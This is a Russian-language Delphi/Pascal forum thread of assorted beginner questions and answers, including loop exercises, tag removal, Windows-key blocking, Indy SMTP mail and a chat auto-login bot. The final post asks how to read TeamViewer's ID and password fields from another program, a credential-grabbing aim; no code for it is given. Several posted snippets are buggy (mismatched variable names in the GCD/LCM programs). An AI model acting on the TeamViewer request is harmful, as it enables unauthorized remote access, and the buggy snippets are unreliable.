пишу base64 кодировшик файлов, как заменить FileOpen FileRead чем то другим... одним словом у меня программа из за использования модуля sysutils прибавляет в весе.. как обойтись без него или можно выдрать эти функции из него и засунуть в код своей программы... Дайте лучший совет


если не хочешь лишнего гемора, упакуй UPX

[gashish_tema]

можно взять и скажем использовать стандартную схему паскаля..
это я уже пробовал кодирует только один символ

[_nic]

Есть 2 формы .В главной крутится один поток из кода которого вызывается Form2.Show(); Естественно при этом 2я форма как только появляется то сразу виснет :( Как это можно обойти?
ЗЫ:ShowWindow несовсем неподходит,потому как на форме надо перед её вызовом изменить свойства нескольких контролов.

[Archangelus]

Archangelus,незнаю, по идеи ошибки не должно быть. А пробывал перехватить событие? хотя бы чтобы ошибка не появлялась..

Ничего не получается. Реально даже не знаю что сделать можно в этом случае
Пробовал настройки покапать - тоже результата нет :(

[Nick_Rimer]

Если честно, не вышло даже с алгоритмами типа try..
Вот, измененный код.. все то же самое, вроде бы.. только вот я сделал, чтобы бонусы чаще выпадали, так можно чаще проверить события с ними..
Так.. проверено, что stack overflow происходит, когда без
бонуса щит берешь бонус замедления времени.. странно..

пожалуйста, помогите мне.. у меня ничего не выходит с этим сделать.. я хочу нормально работать с DirectX.. но что-то идет не так..

Вот новая ссылка: Скачать (http://rapidshare.com/files/217417288/DX-Test1.zip)

[Archangelus]

Всё равно ничего не получается.. пробовал уже все по-очереди :( EmbeddedWB и WebBrowser использовал

[#Wolf#]

PASCAL
Даны 2 натуральных числа. определить наибольший общий делитель и наименьшее общее кратное/
как сделать на циклах? (for )

[FindeR]

#Wolf#

Наименьшее общее кратное
program nok;
var a,b,i,nd:integer;
begin
readln(a,b);

for i:=a*b downto 1 do begin
if (i mod a = 0) and (i mod b = 0) then nk:=i;
end;
write(nk);
end.

Наибольший общий делитель
program nod;
var a,b,i,nk:integer;
begin
readln(a,b);

for i:=1 to a*b do begin
if (a mod i = 0) and (b mod i = 0) then nd:=i;
end;
write(nd);
end.

[PAXAn]

Вопрос по delphi:
Подскажите пожалуйста как можно вывести на печать принтером текст из memo.

[criz]

PAXAn, http://www.codenet.ru/progr/delphi/stat/print.php

[$Atlet$]

У кого нибудь есть рабочий пример как сделать фото с веб камеры и записать в файл?

[art2222]

У кого нибудь есть рабочий пример как сделать фото с веб камеры и записать в файл?
Ищи компоненту на дельфи DSPack. Там куча семплов, в т.ч. и по сабжу.

[winstrool]

есть файлик примерного содержания:

какойто муссссоооорррр!!!
<--!tag-->
какойто муссссоооорррр!!!
</--!tag-->
какойто муссссоооорррр!!!
---------------------------------------
как можно средствами delphi удалить то что находится внутри тега, вместе с самими тегами?

[FindeR]

есть файлик примерного содержания:

какойто муссссоооорррр!!!
<--!tag-->
какойто муссссоооорррр!!!
</--!tag-->
какойто муссссоооорррр!!!
---------------------------------------
как можно средствами delphi удалить то что находится внутри тега, вместе с самими тегами?


procedure TForm1.Button1Click(Sender: TObject);
var str:string;
a,b:integer;
begin
str:=memo1.Text;
a:= pos('<--!tag-->',str); //определяем позицию начального тэга
b:= pos('</--!tag-->',str); //конечный тэг
showmessage(inttostr(a));
delete(str,a,b-a+length('</--!tag-->')); //удаляем эту часть
memo1.text := str;
end;

[mailbrush]

Привет. Всем. Какой HEX код клавиши WinKey (флажок)?

[razb]

смотри в конце страници.
http://www.barcodeman.com/altek/mule/scandoc.php
Left win key - 1F
Right win key - 27

[mailbrush]

Нашёл уже константу VK_LWIN & VK_RWIN.
if (Key=VK_LWIN) then Key:=0;
не пашет =(

[razb]

Спс, а как запретить нажатие WinKey? Ну пуск я запретил, а на клавишу ведь можно же нажать... (Дельфи)
http://www.windowsnetworking.com/kbase/WindowsTips/WindowsNT/RegistryTips/Hardware/DisableWinkeyonkeyboard.html
To disable WinKey functionality that comes with most modern keyboards save the following text in a REGINI script and run the script from the Windows NT command prompt. Restart the computer to make the changes take effect.

Там по ссылке скрипт лежит для отключения.

[mailbrush]

Сорь, но мне надо на дельфи =). Ну т.е. через дельфи отключить клавишу.
нашёл. http://www.oszone.net/2031/, но там надо ребутится. Без ребута можно?

[razb]

не пашет =(
И не будет потому что эта кнопка перехватывается только таскбаром.
Вот тут (http://forum.vingrad.ru/forum/s/13fdef50e62b9f845cbb194e26404a6f/topic-141681/anchor-entry1068309/0.html) пример перехвата, правдо на с++)

Без ребута можно?
Наверно нет.

[FindeR]

mailbrush, а ты сделай в OnKeyDown
if key=VK_LWIN then
SendMessage(Self.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);
При нажатии WinKey закрываем Пуск :p
Но это только в пределах программы. Либо ставь хук, отлавливай нажатие WinKey, либо опиши, для чего это реализовать хочешь, может, другие способы есть :)

[#Wolf#]

pascal
вычислить у=х+х²/2+х³/3........хⁿ/n , где х вводится с клавиатуры, а n принимает значение от 1 до 15

нужно осуществить с использованием 2 вложенных циклов.
вайл..а внутри фор
буду благодарен (+8)

[FindeR]

pascal
вычислить у=х+х²/2+х³/3........хⁿ/n , где х вводится с клавиатуры, а n принимает значение от 1 до 15

нужно осуществить с использованием 2 вложенных циклов.
вайл..а внутри фор
буду благодарен (+8)



program st;
var
y,n,i:integer;
res:real;
x:longint;
begin

n:=2;
writeln('Vvodim x');
readln(y);
res:=y;
x:=y;
while n<=15 do begin
x:=y;
for i:=1 to n-1 do
x:=x*y;

res:=res + x/n;
writeln(x,'/',n,'=',x/n);
n:=n+1;
end;
writeln('Result',res);
end.

Думаю, так вполне подойдёт :)

[gLuk!]

Собсно вопрос... как с Delphi через сокеты отправлять post запросы в веб форму.

[IcEnd]

Как сделать чтоб текст отправлялся из Memo1 и Memo2

procedure TForm1.Button1Click(Sender: TObject);
begin
idSmtp1.Host:='smtp.yandex.ru';
idSmtp1.Port:=25;
idSmtp1.Username:='iceeend';
idSmtp1.Password:='xxx';
idMessage1.Body.Text:=Memo1.Text;
idMessage1.From.Text:='iceeend@yandex.ru';
idMessage1.Recipients.EMailAddresses:='jagguar@bk. ru';
idMessage1.Subject:='Tema';

idSmtp1.Connect();
if idSmtp1.Connected=true then
idSmtp1.Send(idmessage1);
idSmtp1.Disconnect
end;

end.

[pira]

Ребят помогите упростить исходник. Что-то из кода можно переделать на function?
Программа у меня работает, но написана по-нубовски.

unit auth;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdHTTP, ExtCtrls, RXShell, RXClock, ComCtrls;

type
TForm5 = class(TForm)
http1: TIdHTTP;
Button1: TButton;
Button2: TButton;
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
Timer1: TTimer;
RxTrayIcon1: TRxTrayIcon;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure RxTrayIcon1DblClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
procedure OnMinimize(Sender: TObject);
{ Public declarations }
end;

var
Form5: TForm5;

implementation

{$R *.dfm}
// Сворачивание в трей.
procedure TForm5.FormCreate(Sender: TObject);
begin
Application.onMinimize:=OnMinimize;
end;

procedure TForm5.OnMinimize(Sender: TObject);
begin
RxTrayIcon1.Show; //Показываем иконку в трее
ShowWindow(Application.Handle,SW_HIDE); //Скрываем окно приложения
end;

procedure TForm5.RxTrayIcon1DblClick(Sender: TObject);
begin
Application.Restore; //Восстанавливаем окно
SetForeGroundWindow(Application.MainForm.Handle); //Активизируем окно
RxTrayIcon1.Hide; //Прячем иконку из трея
end;

// Запуск висения.
procedure TForm5.Timer1Timer(Sender: TObject);
var params,responseres:tstringlist;
begin
params:=TStringList.Create;
responseres:=TStringList.Create;
try
responseres.Text:=http1.Post('http://www.dmbchat.ru/refresh.php?say=aoaiaa&addr=Aey',params);
if Pos('refresh.php',responseres.Text)>0 then Memo1.Lines.Add('Вы успешно написали фразу.')
else Memo1.Lines.Add('Вы не в чате. Перезаходим.');
while Pos('refresh.php',responseres.Text)<=0 do begin
Button1.Click;
Exit;
end;
finally
params.free;
responseres.free;
end;
end;

// Вход в чат.
procedure TForm5.Button1Click(Sender: TObject);
var params,responseres:tstringlist;
Login, Password: string;
begin
params:=TStringList.Create;
responseres:=TStringList.Create;
try
Login:= Edit1.Text;
Password:= Edit2.Text;
params.Add('login='+Login);
params.Add('password='+Password);
responseres.Text:=http1.Post('http://www.dmbchat.ru/login.php',params);
if Pos('refresh.php',responseres.Text)>0 then
Memo1.Lines.Add('Вы успешно вошли в чат.')
else Memo1.Lines.Add('Ошибка! Вы не вошли в чат.');
finally
params.free;
responseres.free;
end;
while (Edit1.Text='') or (Edit2.Text='') or (Length(Edit1.Text) < 2) or (Length(Edit2.Text) < 5) do begin
ShowMessage (' Логин или Пароль введён неверно.');
Exit;
end;
Edit1.Enabled:=False;
Edit2.Enabled:=False;
Button2.Enabled:=True;
Timer1.Enabled:=True;
end;

// Выход из чата.
procedure TForm5.Button2Click(Sender: TObject);
var params,responseres:tstringlist;
begin
params:=TStringList.Create;
responseres:=TStringList.Create;
try
params.Add('exit');
responseres.Text:=http1.Post('http://www.dmbchat.ru/logout.php',params);
finally
params.free;
responseres.free;
end;
Timer1.Enabled:=False;
Edit1.Enabled:=True;
Edit2.Enabled:=True;
Button2.Enabled:=False;
end;

end.

[art2222]

Как сделать чтоб текст отправлялся из Memo1 и Memo2

procedure TForm1.Button1Click(Sender: TObject);
begin
idSmtp1.Host:='smtp.yandex.ru';
idSmtp1.Port:=25;
idSmtp1.Username:='iceeend';
idSmtp1.Password:='xxx';
idMessage1.Body.Text:=Memo1.Text;
idMessage1.From.Text:='iceeend@yandex.ru';
idMessage1.Recipients.EMailAddresses:='jagguar@bk. ru';
idMessage1.Subject:='Tema';

idSmtp1.Connect();
if idSmtp1.Connected=true then
idSmtp1.Send(idmessage1);
idSmtp1.Disconnect
end;

end.

Хм. Может так:
idMessage1.Body.Text:=Memo1.Text+Memo2.Text;

[IcEnd]

Хм. Может так:
idMessage1.Body.Text:=Memo1.Text+Memo2.Text;
Спасибо, помогло.

[ex3me]

Имеется следующий вопрос: каким образом (программным) можно получить данные из полей ID и PASS программы TeamViewer. Пробовал стандартными FindWindow, FindWindowEx, GetWindowText - ничего не вышло.

Может есть какие-нибудь догадки по этому поводу?

Линк на донлоад самой программы с офф-сайта _h++p://www.teamviewer.com/download/TeamViewerQS.exe

Работаю на делфи, т.к. с другими языками пока туго, но буду очень признателен за реализацию задуманного на любом из языков =\